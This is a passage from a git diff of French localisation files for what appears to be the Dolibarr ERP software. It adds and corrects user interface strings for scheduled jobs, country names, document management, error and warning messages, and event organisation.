travaux planifiées maintenant? CronInfo=Le module de taches planifiés permet de planifier des tâches à exécuter automatiquement. Les travaux planifiés peuvent aussi être lancés manuellement. CronTask=Travail planifié @@ -58,7 +58,7 @@ CronNote=Commentaire CronFieldMandatory=Le champ %s est obligatoire CronErrEndDateStartDt=La date de fin ne peux être avant la date de début StatusAtInstall=Statut lors de l'installation du module -CronStatusActiveBtn=Planifier +CronStatusActiveBtn=Activer la planification CronStatusInactiveBtn=Désactiver CronTaskInactive=Ce travail est désactivé (non planifié) CronId=Id @@ -84,6 +84,7 @@ MakeLocalDatabaseDumpShort=Sauvegarde locale de base MakeLocalDatabaseDump=Créez un fichier dump de base local. Les paramètres sont: compression ('gz' ou 'bz' ou 'none'), type de sauvegarde ('mysql', 'pgsql', 'auto'), 1, 'auto' ou nom du fichier à générer, nombre de fichiers de sauvegarde à garder MakeSendLocalDatabaseDumpShort=Envoyer la sauvegarde de la base de données locale MakeSendLocalDatabaseDump=Envoyez la sauvegarde de la base de données locale par e-mail. Les paramètres sont : to, from, subject, message, filename (nom du fichier envoyé), filter ('sql' pour la sauvegarde de la base de données uniquement) +BackupIsTooLargeSend=Désolé, le dernier fichier de sauvegarde est trop volumineux pour être envoyé par e-mail CleanUnfinishedCronjobShort=Nettoyer la tâche planifiée inachevée CleanUnfinishedCronjob=Nettoyer la tâche planifiée bloquée dans le traitement lorsque le processus n'est plus en cours d'exécution WarningCronDelayed=Attention, à des fins de performance, quelle que soit la prochaine date d'exécution des travaux activés, vos travaux peuvent être retardés jusqu'à %s heures avant d'être exécutés. diff --git a/htdocs/langs/fr_FR/dict.lang b/htdocs/langs/fr_FR/dict.lang index 8da0543e2c2..f86a03411db 100644 --- a/htdocs/langs/fr_FR/dict.lang +++ b/htdocs/langs/fr_FR/dict.lang @@ -29,7 +29,7 @@ CountryPT=Portugal CountrySA=Arabie Saoudite CountryMC=Monaco CountryAU=Australie -CountrySG=Singapoure +CountrySG=Singapour CountryAF=Afghanistan CountryAX=Iles Aland CountryAL=Albanie @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Monténégro CountryBL=Saint-Barthélemy CountryMF=Saint-Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Madame +CivilityMMEShort=Mme. CivilityMR=Monsieur +CivilityMRShort=M. CivilityMLE=Mademoiselle CivilityMTRE=Maître CivilityDR=Docteur diff --git a/htdocs/langs/fr_FR/ecm.lang b/htdocs/langs/fr_FR/ecm.lang index f1fc5249af7..cc4912214d0 100644 --- a/htdocs/langs/fr_FR/ecm.lang +++ b/htdocs/langs/fr_FR/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Répertoire manuel ECMSectionAuto=Répertoire automatique ECMSectionsManual=Arborescence manuelle ECMSectionsAuto=Arborescence automatique +ECMSectionsMedias=Arborescence des médias ECMSections=Répertoires ECMRoot=Racine ECMNewSection=Nouveau répertoire @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Nombre de fichiers dans les sous-répertoires ECMCreationUser=Créateur ECMArea=Espace GED ECMAreaDesc=L'espace GED (Gestion Électronique de Documents) vous permet de stocker, partager et chercher rapidement tout type de documents dans Dolibarr. -ECMAreaDesc2=* Les répertoires automatiques sont alimentés automatiquement lors de l'ajout d'un document depuis une fiche objet (proposition commerciale, facture...).
      * Les répertoires manuels peuvent être utilisés pour stocker des documents divers, non liés à un objet particulier. +ECMAreaDesc2a=* Les répertoires manuels peuvent être utilisés pour enregistrer des documents non liés à un élément particulier. +ECMAreaDesc2b=* Les répertoires automatiques sont remplis automatiquement lors de l'ajout de documents depuis la page d'un élément. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. ECMSectionWasRemoved=Le répertoire %s a été effacé. ECMSectionWasCreated=Le répertoire %s a été créé. ECMSearchByKeywords=Recherche par mots-clés diff --git a/htdocs/langs/fr_FR/errors.lang b/htdocs/langs/fr_FR/errors.lang index d407d7c91b8..c009fd777ec 100644 --- a/htdocs/langs/fr_FR/errors.lang +++ b/htdocs/langs/fr_FR/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=L'identifiant %s existe déjà. ErrorGroupAlreadyExists=Le groupe %s existe déjà. ErrorEmailAlreadyExists=L'e-mail %s existe déjà. ErrorRecordNotFound=Enregistrement non trouvé. +ErrorRecordNotFoundShort=Non trouvé ErrorFailToCopyFile=Echec de la copie du fichier '%s' en '%s'. ErrorFailToCopyDir=Echec de copie du répertoire '%s' vers '%s'. ErrorFailToRenameFile=Echec du renommage du fichier '%s' en '%s'. @@ -32,28 +33,28 @@ ForbiddenBySetupRules=Interdit par les règles de configuration ErrorProdIdIsMandatory=Le %s est obligatoire ErrorAccountancyCodeCustomerIsMandatory=Le code comptable du client %s est obligatoire ErrorBadCustomerCodeSyntax=La syntaxe du code client est incorrecte -ErrorBadBarCodeSyntax=Mauvaise syntaxe pour le code barre. Peut être que vous avez défini un mauvais type de code-barres ou que vous avez défini un masque de code à barres pour la numérotation qui ne correspond pas à la valeur scannée. +ErrorBadBarCodeSyntax=Mauvaise syntaxe pour le code-barres. Peut être que vous avez défini un mauvais type de code-barres ou que vous avez défini un masque de code à barres pour la numérotation qui ne correspond pas à la valeur scannée. ErrorCustomerCodeRequired=Code client obligatoire -ErrorBarCodeRequired=Code-barre requis +ErrorBarCodeRequired=Code-barres requis ErrorCustomerCodeAlreadyUsed=Code client déjà utilisé -ErrorBarCodeAlreadyUsed=Code-barre déjà utilisé -ErrorPrefixRequired=Préfix obligatoire +ErrorBarCodeAlreadyUsed=Code-barres déjà utilisé +ErrorPrefixRequired=Préfixe obligatoire ErrorBadSupplierCodeSyntax=Mauvaise syntaxe pour le code fournisseur ErrorSupplierCodeRequired=Code fournisseur obligatoire ErrorSupplierCodeAlreadyUsed=Code fournisseur déjà utilisé ErrorBadParameters=Paramètres incorrects ErrorWrongParameters=Paramètres incorrects ou manquants ErrorBadValueForParameter=Valeur '%s' incorrecte pour le paramètre '%s' -ErrorBadImageFormat=Cet image est dans un format non pris en charge (Votre PHP ne prend pas en charge les fonctions de conversion de ce format d'image). +ErrorBadImageFormat=Cette image est dans un format non pris en charge (Votre PHP ne prend pas en charge les fonctions de conversion de ce format d'image). ErrorBadDateFormat=La valeur '%s' a un format de date non reconnu -ErrorWrongDate=La date est incorrecte +ErrorWrongDate=La date est incorrecte ! ErrorFailedToWriteInDir=Impossible d'écrire dans le répertoire %s ErrorFailedToBuildArchive=Échec de la création du fichier d'archive %s ErrorFoundBadEmailInFile=Syntaxe d'email incorrecte trouvée pour %s lignes dans le fichier (exemple ligne %s avec email=%s) ErrorUserCannotBeDelete=L'utilisateur ne peut pas être supprimé. Peut-être est-il associé à des éléments de Dolibarr. ErrorFieldsRequired=Des champs obligatoire n'ont pas été remplis. ErrorSubjectIsRequired=L'objet de l'e-mail est obligatoire -ErrorFailedToCreateDir=Echec à la création d'un répertoire. Vérifiez que le user du serveur Web ait bien les droits d'écriture dans les répertoires documents de Dolibarr. Si le paramètre safe_mode a été activé sur ce PHP, vérifiez que les fichiers php dolibarr appartiennent à l'utilisateur du serveur Web. +ErrorFailedToCreateDir=Echec à la création d'un répertoire. Vérifiez que l'utilisateur du serveur Web ait bien les droits d'écriture dans les répertoires documents de Dolibarr. Si le paramètre safe_mode a été activé sur ce PHP, vérifiez que les fichiers php dolibarr appartiennent à l'utilisateur du serveur Web. ErrorNoMailDefinedForThisUser=Email non défini pour cet utilisateur ErrorSetupOfEmailsNotComplete=La configuration de l'envoi des e-mails n'est pas terminée ErrorFeatureNeedJavascript=Cette fonctionnalité a besoin de javascript activé pour fonctionner. Modifiez dans configuration - affichage. @@ -65,7 +66,7 @@ ErrorFunctionNotAvailableInPHP=La fonction %s est requise pour cette fonc ErrorDirAlreadyExists=Un répertoire portant ce nom existe déjà. ErrorFileAlreadyExists=Un fichier portant ce nom existe déjà. ErrorDestinationAlreadyExists=Un fichier portant le nom %s existe déjà. -ErrorPartialFile=Fichier non reçu intégralement par le serveur. +ErrorPartialFile=Fichier incomplet reçu par le serveur. ErrorNoTmpDir=Répertoire temporaire de réception %s inexistant. ErrorUploadBlockedByAddon=Upload bloqué par un plugin PHP/Apache. ErrorFileSizeTooLarge=La taille du fichier est trop grande ou le fichier n'est pas fourni. @@ -96,6 +97,7 @@ ErrorWrongValueForField=Champ %s: '%s' ne respecte pas la règle < ErrorHtmlInjectionForField=Champ %s : La valeur ' %s ' contient une donnée malveillante non autorisée ErrorFieldValueNotIn=Champ %s: '%s' n'est pas une valeur disponible dans le champ %s de la table %s ErrorFieldRefNotIn=Champ %s: '%s' n'est pas une référence existante comme %s +ErrorMultipleRecordFoundFromRef=Plusieurs enregistrements trouvés lors de la recherche à partir de la référence %s . Aucun moyen de savoir quel ID utiliser. ErrorsOnXLines=Erreurs sur %s enregistrement(s) source ErrorFileIsInfectedWithAVirus=L'antivirus n'a pas pu valider ce fichier (il est probablement infecté par un virus) ! ErrorNumRefModel=Une référence existe en base (%s) et est incompatible avec cette numérotation. Supprimez la ligne ou renommez la référence pour activer ce module. @@ -106,7 +108,7 @@ ErrorBadMask=Erreur sur le masque ErrorBadMaskFailedToLocatePosOfSequence=Erreur, masque sans numéro de séquence ErrorBadMaskBadRazMonth=Erreur, mauvais valeur de remise à zéro ErrorMaxNumberReachForThisMask=Nombre maximum atteint pour ce masque -ErrorCounterMustHaveMoreThan3Digits=Le compteur doit avoir au moins 3 positions +ErrorCounterMustHaveMoreThan3Digits=Le compteur doit posséder au moins 3 chiffres ErrorSelectAtLeastOne=Erreur, sélectionnez au moins une entrée. ErrorDeleteNotPossibleLineIsConsolidated=Suppression impossible car l'enregistrement porte sur au moins une transaction bancaire rapprochée ErrorProdIdAlreadyExist=%s est attribué à un autre tiers @@ -130,9 +132,9 @@ ErrorLoginHasNoEmail=Cet utilisateur n'a pas d'email. Impossible de continuer. ErrorBadValueForCode=Mauvaise valeur saisie pour le code. Réessayez avec une nouvelle valeur... ErrorBothFieldCantBeNegative=Les champs %s et %s ne peuvent être tous deux négatifs ErrorFieldCantBeNegativeOnInvoice=Le champ %s ne peut pas être négatif sur ce type de facture. Si vous devez ajouter une ligne de remise, créez d'abord la remise (à partir du champ '%s' dans la fiche du tiers) et appliquez-la à la facture. -ErrorLinesCantBeNegativeForOneVATRate=Le total des lignes (HT) ne peut pas être négatif pour un taux de TVA non null donné (Un total négatif pour le taux de %s%% a été trouvé). +ErrorLinesCantBeNegativeForOneVATRate=Le total des lignes (HT) ne peut pas être négatif pour un taux de TVA non nul donné (Un total négatif pour le taux de %s%% a été trouvé). ErrorLinesCantBeNegativeOnDeposits=Les lignes ne peuvent pas être négatives dans un acompte. Si vous le faites, vous rencontrerez des problèmes lorsque vous devrez consommer l'acompte dans la facture finale. -ErrorQtyForCustomerInvoiceCantBeNegative=La quantité d'une ligne ne peut pas être négative dans les factures clients +ErrorQtyForCustomerInvoiceCantBeNegative=La quantité d'une ligne ne peut pas être négative dans les factures clients ErrorWebServerUserHasNotPermission=Le compte d'exécution du serveur web %s n'a pas les permissions pour cela ErrorNoActivatedBarcode=Aucun type de code-barres activé ErrUnzipFails=Impossible de décompresser le fichier %s avec ZipArchive @@ -152,8 +154,8 @@ ErrorPaymentModeDefinedToWithoutSetup=Un mode de paiement a été défini de typ ErrorPHPNeedModule=Erreur, votre PHP doit avoir le module %s installé pour utiliser cette fonctionnalité. ErrorOpenIDSetupNotComplete=Vous avez configuré Dolibarr pour accepter l'authentication OpenID, mais l'URL du service OpenID n'est pas défini dans la constante %s ErrorWarehouseMustDiffers=Les entrepôts source et destination doivent être différents -ErrorBadFormat=Mauvais format -ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Erreur, cet adhérent n'ait pas encore lié à un tiers. Lier le tier à un tiers existant ou créer un nouveau tiers avant de créer une adhésion avec facture. +ErrorBadFormat=Mauvais format ! +ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Erreur, cet adhérent n'est pas encore lié à un tiers. Liez le tiers à un tiers existant ou créez un nouveau tiers avant de créer une adhésion avec facture. ErrorThereIsSomeDeliveries=Erreur, il y a des bordereaux de réception liées à ces expéditions. La suppression est refusée. ErrorCantDeletePaymentReconciliated=Impossible d'effacer un paiement qui a généré une écriture sur le compte bancaire et qui a été rapprochée. ErrorCantDeletePaymentSharedWithPayedInvoice=Impossible d'effacer un paiement qui porte sur au moins une facture qui est à l'état payée. @@ -161,11 +163,11 @@ ErrorPriceExpression1=Ne peut assigner la constante '%s' ErrorPriceExpression2=Ne peut redéfinir la fonction '%s' ErrorPriceExpression3=Variable '%s' non définie dans la définition de fonction ErrorPriceExpression4=Caractère illégal '%s' -ErrorPriceExpression5=Unexpected '%s' +ErrorPriceExpression5='%s' inattendu. ErrorPriceExpression6=Nombre incorrect d'arguments (%s donné,%s attendu) ErrorPriceExpression8=Operateur '%s' non attendu ErrorPriceExpression9=Une erreur inattendue s'est produite -ErrorPriceExpression10=Il manque l'opérande à l'opérateur '%s' +ErrorPriceExpression10=Il manque l'opérande à l'opérateur '%s' ErrorPriceExpression11=Attendu '%s' ErrorPriceExpression14=Division par zéro ErrorPriceExpression17=Variable '%s' non définie @@ -187,16 +189,16 @@ ErrorGlobalVariableUpdater2=Paramètre manquant '%s' ErrorGlobalVariableUpdater3=La donnée recherché n'a pas été trouvée ErrorGlobalVariableUpdater4=Le client SOAP a échoué avec l'erreur '%s' ErrorGlobalVariableUpdater5=Pas de variable globale -ErrorFieldMustBeANumeric=Le champ %s doit être un numérique -ErrorMandatoryParametersNotProvided=Paramètre(s) obligatoire(s) non fournis -ErrorOppStatusRequiredIfAmount=Vous avez fixé un montant estimé pour cette opportunité. Aussi, vous devez également entrer son statut +ErrorFieldMustBeANumeric=Le champ %s doit être une valeur numérique +ErrorMandatoryParametersNotProvided=Paramètre(s) obligatoire(s) non fourni(s) +ErrorOppStatusRequiredIfAmount=Vous avez fixé un montant estimé pour cette opportunité. De plus, vous devez également entrer son statut ErrorFailedToLoadModuleDescriptorForXXX=Échec de changement de la classe descripteur du module %s ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Mauvaise définition du tableau Menu dans le descripteur de module (mauvaise valeur pour la clé fk_menu) ErrorSavingChanges=Une erreur est survenue lors de la sauvegarde des modifications ErrorWarehouseRequiredIntoShipmentLine=L'entrepôt est requis sur la ligne de l'expédition ErrorFileMustHaveFormat=Le fichier doit avoir le format %s ErrorFilenameCantStartWithDot=Le nom de fichier ne peut pas commencer par un '.' -ErrorSupplierCountryIsNotDefined=Le pays pour ce fournisseur n'est pas défini. Corriger cela. +ErrorSupplierCountryIsNotDefined=Le pays pour ce fournisseur n'est pas défini. Corrigez cela. ErrorsThirdpartyMerge=Echec de la fusion de 2 enregistrements. Demande annulée. ErrorStockIsNotEnoughToAddProductOnOrder=Le stock du produit %s est insuffisant pour permettre un ajout dans une nouvelle commande. ErrorStockIsNotEnoughToAddProductOnInvoice=Le stock du produit %s est insuffisant pour permettre un ajout dans une nouvelle facture. @@ -214,7 +216,7 @@ ErrorTaskAlreadyAssigned=Tâche déjà assignée à l'utilisateur ErrorModuleFileSeemsToHaveAWrongFormat=Le package du module semble avoir un mauvais format. ErrorModuleFileSeemsToHaveAWrongFormat2=Au moins un dossier obligatoire doit être présent dans l'archive zip du module : %s ou %s ErrorFilenameDosNotMatchDolibarrPackageRules=Le nom du package du module (%s) ne correspond pas à la syntaxe attendue: %s -ErrorDuplicateTrigger=Erreur, doublon du trigger nommé %s. Déjà chargé à partir de %s. +ErrorDuplicateTrigger=Erreur, doublon du déclencheur nommé %s. Déjà chargé à partir de %s. ErrorNoWarehouseDefined=Erreur, aucun entrepôts défini. ErrorBadLinkSourceSetButBadValueForRef=Le lien que vous utilisez n'est pas valide. Une 'source' pour le paiement est définie, mais la valeur pour 'ref' n'est pas valide. ErrorTooManyErrorsProcessStopped=Trop d'erreurs, Le processus a été arrêté. @@ -223,12 +225,12 @@ ErrorObjectMustHaveStatusDraftToBeValidated=L'objet %s doit être au statut 'Bro ErrorObjectMustHaveLinesToBeValidated=L'objet %s doit contenir des lignes ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Seules les factures validées peuvent être envoyées à l'aide de l'action de masse "Envoyer par courrier électronique". ErrorChooseBetweenFreeEntryOrPredefinedProduct=Vous devez choisir si l'article est un produit prédéfini ou non -ErrorDiscountLargerThanRemainToPaySplitItBefore=La réduction que vous essayez d'appliquer est supérieure au montant du paiement. Auparavant, divisez le rabais en 2 rabais plus petits. +ErrorDiscountLargerThanRemainToPaySplitItBefore=La réduction que vous essayez d'appliquer est supérieure au montant du paiement. Auparavant, divisez la remise en 2 rabais plus petits. ErrorFileNotFoundWithSharedLink=Fichier non trouvé. Peut être que la clé de partage a été modifiée ou le fichier a été récemment supprimé. -ErrorProductBarCodeAlreadyExists=Le code-barre du produit %s existe déjà sur une autre référence de produit +ErrorProductBarCodeAlreadyExists=Le code-barres du produit %s existe déjà sur une autre référence de produit ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Notez également que l'utilisation d'un kit pour augmenter ou réduire automatiquement les sous-produits n'est pas possible lorsqu'au moins un sous-produit (ou sous-produit de sous-produits) a besoin d'un numéro de série/lot. ErrorDescRequiredForFreeProductLines=La description est obligatoire pour les lignes avec un produit non prédéfini -ErrorAPageWithThisNameOrAliasAlreadyExists=La page / container %s a le même nom ou un autre alias que celui que vous tentez d'utiliser. +ErrorAPageWithThisNameOrAliasAlreadyExists=La page/container %s a le même nom ou un autre alias que celui que vous tentez d'utiliser. ErrorDuringChartLoad=Erreur lors du chargement du tableau de compte. Si certains comptes n'ont pas été chargés, vous pouvez toujours les entrer manuellement. ErrorBadSyntaxForParamKeyForContent=Mauvaise syntaxe pour le paramètre keyforcontent. La valeur doit commencer par %s ou %s ErrorVariableKeyForContentMustBeSet=Erreur, la constante nommée %s (avec le contenu de texte à afficher) ou %s (avec l'adresse externe à afficher) doit être fixée. @@ -237,11 +239,12 @@ ErrorURLMustStartWithHttp=L'URL %s doit commencer par http:// ou https:// ErrorHostMustNotStartWithHttp=L'URL %s ne doit PAS commencer par http:// ou https:// ErrorNewRefIsAlreadyUsed=Erreur, la nouvelle référence est déjà utilisée ErrorDeletePaymentLinkedToAClosedInvoiceNotPossible=Erreur, supprimer le paiement lié à une facture clôturée n'est pas possible. -ErrorSearchCriteriaTooSmall=Critère de recherche trop petit. -ErrorObjectMustHaveStatusActiveToBeDisabled=Les objets doivent avoir le statut 'Actif' pour être désactivés -ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Les objets doivent avoir le statut 'Brouillon' ou 'Désactivé' pour être activés +ErrorSearchCriteriaTooSmall=Critère de recherche trop court. +ErrorObjectMustHaveStatusActiveToBeDisabled=Les objets doivent avoir le statut 'Actif' pour pouvoir être désactivés +ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Les objets doivent avoir le statut 'Brouillon' ou 'Désactivé' pour pouvoir être activés ErrorNoFieldWithAttributeShowoncombobox=Aucun champ n'a la propriété 'showoncombobox' dans la définition de l'objet '%s'. Pas moyen d'afficher la liste de cases à cocher ErrorFieldRequiredForProduct=Le champ '%s' est obligatoire pour le produit %s +AlreadyTooMuchPostOnThisIPAdress=Vous avez déjà trop posté sur cette adresse IP. ProblemIsInSetupOfTerminal=Le problème est dans la configuration du terminal %s. ErrorAddAtLeastOneLineFirst=Ajouter d'abord au moins une ligne ErrorRecordAlreadyInAccountingDeletionNotPossible=Erreur, l'enregistrement est déjà transféré dans la comptabilité, la suppression n'est pas possible. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Erreur, le paramètre %s ErrorLoginDateValidity=Erreur, cet identifiant est hors de la plage de date de validité ErrorValueLength=La longueur du champ %s doit être supérieure à %s ErrorReservedKeyword=Le terme '%s' est un mot clé réservé +ErrorFilenameReserved=The filename %s can't be used as it is a reserved and protected command. ErrorNotAvailableWithThisDistribution=Non disponible dans cette distribution ErrorPublicInterfaceNotEnabled=L’interface publique n’a pas été activée ErrorLanguageRequiredIfPageIsTranslationOfAnother=La langue d'une nouvelle page, si elle est la traduction d'une autre page, doit être définie @@ -277,13 +281,13 @@ ErrorWrongFileName=Le nom du fichier ne peut pas contenir __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Pas dans le dictionnaire des conditions de paiement, veuillez modifier. ErrorIsNotADraft=%s n'est pas au statut brouillon ErrorExecIdFailed=Impossible d'exécuter la commande "id" -ErrorBadCharIntoLoginName=Caractère non autorisé dans le nom de connexion -ErrorRequestTooLarge=Erreur, requête trop conséquente +ErrorBadCharIntoLoginName=Caractère non autorisé dans le champ %s +ErrorRequestTooLarge=Erreur, demande trop volumineuse ou session expirée ErrorNotApproverForHoliday=Vous n'êtes pas l'approbateur du congé %s ErrorAttributeIsUsedIntoProduct=Cet attribut est utilisé dans une ou plusieurs variantes de produit ErrorAttributeValueIsUsedIntoProduct=Cette valeur d'attribut est utilisée dans une ou plusieurs variantes de produit ErrorPaymentInBothCurrency=Erreur, tous les montants doivent être entrés dans la même colonne. -ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=Vous essayez de payer une facture en monnaie %s depuis un compte en %s +ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=Vous essayez de payer une facture en devise %s depuis un compte en %s ErrorInvoiceLoadThirdParty=Impossible de charger l'objet tiers pour la facture "%s" ErrorInvoiceLoadThirdPartyKey=Clé tiers "%s" non définie pour la facture "%s" ErrorDeleteLineNotAllowedByObjectStatus=Supprimer une ligne n'est pas autorisée par l'état actuel de l'objet @@ -298,10 +302,19 @@ ErrorCharPlusNotSupportedByImapForSearch=La recherche IMAP n'est pas en mesure d ErrorTableNotFound=Table %s introuvable ErrorValueForTooLow=La valeur pour %s est trop faible ErrorValueCantBeNull=La valeur pour %s ne peut pas être nulle +ErrorDateOfMovementLowerThanDateOfFileTransmission=La date de l'opération bancaire ne peut être inférieure à la date de transmission du fichier +ErrorTooMuchFileInForm=Trop de fichiers dans le formulaire, le nombre maximum est de %s fichier(s) +ErrorExistingPermission = La permission %s pour l'objet %s est dejà existante +ErrorSessionInvalidatedAfterPasswordChange=La session a été invalidée suite à un changement de mot de passe, d'état ou de dates de validité. Veuillez vous reconnecter. +ErrorExistingPermission = La permission %s pour l'objet %s existe déjà. +ErrorFieldExist=La valeur pour %s existe déjà +ErrorEqualModule=Module invalide dans %s. +ErrorFieldValue=La valeur pour %s est incorrecte +ErrorCoherenceMenu=Le champ %s est requis lorsque %s vaut 'left' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Votre paramètre PHP upload_max_filesize (%s) est supérieur au paramètre PHP post_max_size (%s). Ceci n'est pas une configuration cohérente. -WarningPasswordSetWithNoAccount=Un mot de passe a été fixé pour cet adhérent. Cependant, aucun compte d'utilisateur n'a été créé. Donc, ce mot de passe est stocké, mais ne peut être utilisé pour accéder à Dolibarr. Il peut être utilisé par un module/interface externe, mais si vous n'avez pas besoin de définir ni login ni mot de passe pour un adhérent, vous pouvez désactiver l'option «Gérer un login pour chaque adhérent" depuis la configuration du module Adhérents. Si vous avez besoin de gérer un login, mais pas de mot de passe, vous pouvez laisser ce champ vide pour éviter cet avertissement. Remarque: L'email peut également être utilisé comme login si l'adhérent est lié à un utilisateur. +WarningPasswordSetWithNoAccount=Un mot de passe a défini pour cet adhérent. Cependant, aucun compte d'utilisateur n'a été créé. Ce mot de passe a donc été stocké, mais ne peut être utilisé pour accéder à Dolibarr. Il peut être utilisé par un module/interface externe, mais si vous n'avez pas besoin de définir ni login ni mot de passe pour un adhérent, vous pouvez désactiver l'option «Gérer un login pour chaque adhérent" depuis la configuration du module Adhérents. Si vous avez besoin de gérer un login, mais pas de mot de passe, vous pouvez laisser ce champ vide pour éviter cet avertissement. Remarque: L'email peut également être utilisé comme login si l'adhérent est lié à un utilisateur. WarningMandatorySetupNotComplete=Cliquez ici pour configurer les paramètres principaux WarningEnableYourModulesApplications=Cliquez ici pour activer vos modules et applications WarningSafeModeOnCheckExecDir=Attention, l'option PHP safe_mode est active, la commande doit dont être dans un répertoire déclaré dans le paramètre php safe_mode_exec_dir. @@ -311,15 +324,16 @@ WarningConfFileMustBeReadOnly=Attention, votre fichier de configuration (htdo WarningsOnXLines=Alertes sur %s enregistrement(s) source WarningNoDocumentModelActivated=Aucun modèle, pour la génération de document, n'a été activé. Un modèle sera pris par défaut en attendant la correction de configuration du module. WarningLockFileDoesNotExists=Attention, une fois l'installation terminée, les outils d'installation/migration doivent être désactivés en ajoutant un fichier install.lock dans le répertoire %s. L'absence de ce fichier représente une faille de sécurité. -WarningUntilDirRemoved=Les alertes de sécurité sont visibles par les administrateurs uniquement et resteront actives tant que la vulnérabilité sera avérée (ou que la constante MAIN_REMOVE_INSTALL_WARNING aura été définie dans Configuration->Divers) +WarningUntilDirRemoved=Cet avertissement de sécurité restera actif tant que la vulnérabilité sera présente. WarningCloseAlways=Attention, la fermeture se fait même lorsque le montant diffère. N'activez cette fonctionnalité qu'en connaissance de cause. WarningUsingThisBoxSlowDown=Attention, l'utilisation de cette boîte provoque de sérieux ralentissements des pages affichant cette boîte. WarningClickToDialUserSetupNotComplete=La configuration ClickToDial pour votre compte utilisateur n'est pas complète (voir l'onglet ClickToDial sur votre fiche utilisateur) -WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Fonction désactivée quand l'affichage est en mode optimisé pour les personnes aveugles ou les navigateurs textes. +WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Fonction désactivée quand l'affichage est en mode optimisé pour les personnes malvoyantes ou les navigateurs textes. WarningPaymentDateLowerThanInvoiceDate=La date de paiement (%s) est inférieure à la date de facturation (%s) de la facture %s. WarningTooManyDataPleaseUseMoreFilters=Trop de données (plus de %s lignes). Utilisez davantage de filtres ou régler la constante %s pour augmenter la limite à une valeur plus élevée. WarningSomeLinesWithNullHourlyRate=Des temps ont été enregistrés par des utilisateurs lorsque leur taux horaire n'était défini. Une valeur de 0 %s a été utilisée, mais cela peut entraîner une mauvaise évaluation du temps passé. WarningYourLoginWasModifiedPleaseLogin=Votre identifiant a été modifié. Par sécurité, vous devrez vous identifier avec votre nouvel identifiant avant l'action suivante. +WarningYourPasswordWasModifiedPleaseLogin=Votre mot de passe a été modifié. Pour des raisons de sécurité, vous devez vous connecter maintenant avec votre nouveau mot de passe. WarningAnEntryAlreadyExistForTransKey=Une donnée identique existe déjà pour la traduction du code dans cette langue WarningNumberOfRecipientIsRestrictedInMassAction=Attention, le nombre de destinataires différents est limité à %s lorsque vous utilisez les actions en masse sur les listes WarningDateOfLineMustBeInExpenseReportRange=Attention, la date de la ligne n'est pas dans la plage de la note de frais @@ -335,23 +349,24 @@ WarningPaypalPaymentNotCompatibleWithStrict=La valeur 'Strict' fait que les fonc WarningThemeForcedTo=Attention, le choix du thème a été forcé à %s par la constante cachée MAIN_FORCETHEME WarningPagesWillBeDeleted=Attention, cela supprimera également toutes les pages/conteneurs existants du site. Vous devriez exporter votre site Web avant, afin d'avoir une sauvegarde pour le réimporter plus tard. WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=La validation automatique est désactivée lorsque l'option de diminution du stock est définie sur "Validation de la facture". +WarningModuleNeedRefrech = Le module %s a été désactivé. N'oubliez pas de le réactiver # Validate RequireValidValue = Valeur non valide -RequireAtLeastXString = Requiert au moins %s caractère(s) -RequireXStringMax = Requiert %s caractère(s) maximum -RequireAtLeastXDigits = Requiert au moins %s caractère(s) -RequireXDigitsMax = Requiert %scaractère(s) maximum +RequireAtLeastXString = Nécessite au moins %s caractère(s) +RequireXStringMax = Nécessite %s caractère(s) maximum +RequireAtLeastXDigits = Nécessite au moins %s caractère(s) +RequireXDigitsMax = Nécessite %scaractère(s) maximum RequireValidNumeric = Nécessite une valeur numérique RequireValidEmail = L'adresse email n'est pas valide RequireMaxLength = La longueur doit être inférieure à %s caractères RequireMinLength = La longueur doit être supérieure à %s caractère(s) -RequireValidUrl = Une URL valide est requise -RequireValidDate = Date valide requise -RequireANotEmptyValue = Est requis -RequireValidDuration = Une durée valide est requise -RequireValidExistingElement = Une valeur existante est requise -RequireValidBool = Un booléen valide est requis +RequireValidUrl = Une URL valide est demandée +RequireValidDate = Une date valide est nécessaire +RequireANotEmptyValue = Est nécessaire +RequireValidDuration = Une durée valide est nécessaire +RequireValidExistingElement = Une valeur existante est nécessaire +RequireValidBool = Un booléen valide est nécessaire BadSetupOfField = Erreur mauvaise configuration du champ BadSetupOfFieldClassNotFoundForValidation = Erreur mauvaise configuration du champ : Classe introuvable pour validation BadSetupOfFieldFileNotFound = Erreur mauvaise configuration du champ : Fichier introuvable pour l'inclusion diff --git a/htdocs/langs/fr_FR/eventorganization.lang b/htdocs/langs/fr_FR/eventorganization.lang index 1481d54b46c..8caeb49c807 100644 --- a/htdocs/langs/fr_FR/eventorganization.lang +++ b/htdocs/langs/fr_FR/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Dans le formulaire pour créer/ajouter # Object # EventOrganizationConfOrBooth= Conférence ou stand +EventOrganizationConfOrBoothes=Conférences ou Stands ManageOrganizeEvent = Gestion d'organisation d'événements ConferenceOrBooth = Conférence ou stand ConferenceOrBoothTab = Conférence ou stand @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Ici, vous pouvez voter pour une conférence ou EvntOrgRegistrationConfHelpMessage = Ici, vous pouvez suggérer une nouvelle conférence à animer pendant l'événement. EvntOrgRegistrationBoothHelpMessage = Ici, postulez pour tenir un stand pendant l'événement 